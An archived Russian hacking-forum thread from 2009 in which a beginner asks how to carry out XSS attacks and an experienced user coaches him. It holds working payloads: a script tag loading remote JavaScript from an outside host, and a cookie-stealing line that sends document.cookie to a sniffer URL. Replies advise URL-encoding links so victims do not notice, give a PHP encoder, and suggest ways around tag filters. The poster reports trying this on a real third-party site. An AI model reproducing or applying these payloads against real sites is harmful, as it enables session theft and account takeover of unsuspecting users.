Добро пожаловать! Это — архивная версия форумов на «Хакер.Ru». Она работает в режиме read-only.
 

Вопрос по XSS атаке

Пользователи, просматривающие топик: none

Зашли как: Guest
Все форумы >> [Для начинающих] >> Вопрос по XSS атаке
Имя
Сообщение << Старые топики   Новые топики >>
Вопрос по XSS атаке - 2009-03-21 21:21:17.033333   
Dikoy

Сообщений: 68
Оценки: 0
Присоединился: 2009-03-03 08:48:14.176666
Есть сайт http://hacker.3dn.ru/publ/1-1-0-45 . На нём этот вид отаки достаточно понятно написан, но есть парочка вопросов:
1)
quote:

Это и будет нашим атакующим кодом. А вызывать мы его будем путем вставки на уязвимую страницу следующего кода:
quote:

&lt;script src=http://myhost.hut.ru/file.js&gt;&lt;/script&gt;

Что, можно так и кидать ссылку пользователю? или её нужно как то отформатировать, превратить в url или во что то ещё?Как получить куки и куда они сохраняться?
2) Как паказано в примере можно из обычной строки

quote:

Http://myhost.hut.ru/encodeurl.php?str=&lt;script src=http://myhost.hut.ru/file.js&gt;&lt;/script&gt;

Сделать вот, что:
quote:

http://site.ru/info.php?login=%3c%73%63%72%69%70%74%20%73%72%63%3d%68
%74%74%70%3a%2f%2f%6d%79%68%6f%73%74%2e%68%75%74%2e
%72%75%2f%66%69%6c%65%2e%6a%73%3e%3c%2f%73%63%72%69%70%74%3e

Каким образом? если можно по подробней.
p.s Прошу прощения за такую неграмотность относительно xss. Я только недавно начал изучать данный вит атак.Да, и если реклама запрещена просьба не удалять тему, а просто уведомить меня в пм, что бы я убрал ссылку.
Post #: 1
RE: Вопрос по XSS атаке - 2009-03-21 22:11:20.886666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
1) не совсем понял вопроса. <sсriрt src=http://myhost.hut.ru/file.js></sсriрt> это код который надо внедрить в страницу навсегда(активный XSS) или разово и совать ссылку, внедряющую этот код, атакуемому (пассивный XSS).
2) Если при пассивном XSS мы будем совать атакуемому ссыль вида:
http://site.ru/info.php?login=&lt;sсriрt src=http://myhost.hut.ru/file.js&gt;&lt;/sсriрt&gt; это будет палевно. Чтобы не светиться надо передаваемый параметр зашифровать. Урленкод существует для передачи в строке запрещенных символов (например, пробелов), но в принципе заУРЛэнкодить можно все. Попав на сервер все параметры будут раскодированны.

P.S. а, вообще, для таких вопросов существует прикрепленный топик
Post #: 2
RE: Вопрос по XSS атаке - 2009-03-21 22:20:19.556666   
Dikoy

Сообщений: 68
Оценки: 0
Присоединился: 2009-03-03 08:48:14.176666
Кое с чем я разобрался. Можно узнать по подробней как можно зашифровать код?
Post #: 3
RE: Вопрос по XSS атаке - 2009-03-21 22:20:41.213333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
FriLL
Так вроде он спрашивает не про конкретный сайт, а про метод.
Или я чего-то не понял?

Dikoy
возьми php функции urlencod() - зашифровка, urldecode() - расшифровка
Но эти функции зашифровывают только запрещенные символы.
А так, урлэнкод - это шестнадцатеричные коды символов со знаками %
Вот скриптец кодирования:
$str="&lt;sсriрt&gt;&lt;/sсriрt&gt;"; //строка для кодирования for($i=0; $i&lt;strlen($str); $i++){ $code.="%".dechex(ord($str[$i])); } echo $code;
Post #: 4
RE: Вопрос по XSS атаке - 2009-03-21 22:54:58.056666   
Dikoy

Сообщений: 68
Оценки: 0
Присоединился: 2009-03-03 08:48:14.176666
нет, ты всё правильно понял спасибо)
Post #: 5
RE: Вопрос по XSS атаке - 2009-03-22 11:32:53.343333   
Dikoy

Сообщений: 68
Оценки: 0
Присоединился: 2009-03-03 08:48:14.176666
вопрос по уроку Xakep'а9009
на сайте http://shurem.ru/ я пытался(как было скзано в урое) отправить лс со скриптом и поменять данные в профили
Вот что у меня получилось:
1) в данных img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;(эта строка видна при просмотре профиля) никакой записи в снифере нет
2) В сообщении показана тема"alert('Xakep9009_Rullz') Привет" текст сообщения "alert('Hellow_World')"
Помогите понять что я сделал не так?
Post #: 6
RE: Вопрос по XSS атаке - 2009-03-22 13:20:59.656666   
Dikoy

Сообщений: 68
Оценки: 0
Присоединился: 2009-03-03 08:48:14.176666
Можно ли через гугл найти xss уязвимости в сайтах? типо ввёл любой скрипт, а гугл отобразит где его можно воплатить в жизнь)
Post #: 7
RE: Вопрос по XSS атаке - 2009-03-22 15:11:42.566666   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Я, конечно, не проделывал уроки, но если у тебя строка
img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie; отображается как есть, то значит ты не заключил ее в тег <script></script>

По поводу гугла прям такой халявы помойму нет. Но Гугл - это сила. Через него можно искать стандартные конструкции теоретически подверженные XSS (форумы, формы коментариев, и т.д.) и их уже проверять ручками.
Post #: 8
RE: Вопрос по XSS атаке - 2009-03-22 15:48:07.756666   
Dikoy

Сообщений: 68
Оценки: 0
Присоединился: 2009-03-03 08:48:14.176666
теги стоят, а проблема таже
Post #: 9
RE: Вопрос по XSS атаке - 2009-03-22 16:05:26.263333   
horiz

Сообщений: 892
Оценки: 0
Присоединился: 2008-11-03 18:33:09.006666
Так, если ты хочешь записать строку
&lt;sсriрt&gt;img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;&lt;/sсriрt&gt; а записывается лишь
img = new Image(); img.src = "http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie; значит там поставили вырезание тегов <sсriрt></sсriрt>. Просмотри исходный код получившейся страницы.
Если так, то попробуй писать эти теги так:
<sсrIрt>
<sсriрt >
и т.д.
Post #: 10
RE: Вопрос по XSS атаке - 2009-03-22 17:26:47.760000   
Dikoy

Сообщений: 68
Оценки: 0
Присоединился: 2009-03-03 08:48:14.176666
спасибо. я ещё нашёл парочку способов сделать правильно
Post #: 11
Страниц:  [1]
Все форумы >> [Для начинающих] >> Вопрос по XSS атаке







Связаться:
Вопросы по сайту / xakep@glc.ru

Предупреждение: использование полученных знаний в противозаконных целях преследуется по закону.